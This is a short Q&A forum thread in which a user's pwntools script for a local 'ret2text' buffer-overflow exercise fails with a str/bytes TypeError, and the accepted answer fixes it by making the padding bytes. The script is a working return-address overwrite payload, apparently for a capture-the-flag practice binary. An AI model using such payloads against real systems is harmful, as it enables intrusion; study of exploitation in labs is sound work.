I am writing an exploit in PWN tools but i am getting this error "TypeError: can only concatenate str (not "bytes") to str"

Question

I am trying to run the following exploit but i am getting the error mentioned above.

#!/usr/bin/env python

from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * 108 + "junk" + p32(target))
sh.interactive()

I expected this to run correctly but i am getting the error in sh.sendline

Barmar · Accepted Answer · 2023-10-12 16:04:45Z

0

The argument to sh.sendline() must be a byte string, not a text string. p32() returns a byte string, but you're trying to concatenate text strings to it. Make them byte strings as well.

sh.sendline(b'A' * 108 + b"junk" + p32(target))

answered Oct 12, 2023 at 16:04

Barmar

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